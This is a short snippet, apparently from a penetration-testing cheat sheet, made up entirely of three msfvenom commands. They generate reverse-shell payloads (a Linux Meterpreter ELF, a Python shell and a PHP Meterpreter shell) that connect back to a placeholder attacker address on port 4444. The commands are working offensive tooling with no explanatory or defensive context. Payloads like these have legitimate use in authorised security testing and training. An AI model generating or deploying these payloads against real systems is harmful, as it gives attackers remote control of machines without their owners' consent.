msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f elf > shell.elf  # ELF binary
msfvenom -p cmd/unix/reverse_python LHOST=<ip> LPORT=4444 -f raw > shell.py             # Python
msfvenom -p php/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 > shell.php               # PHP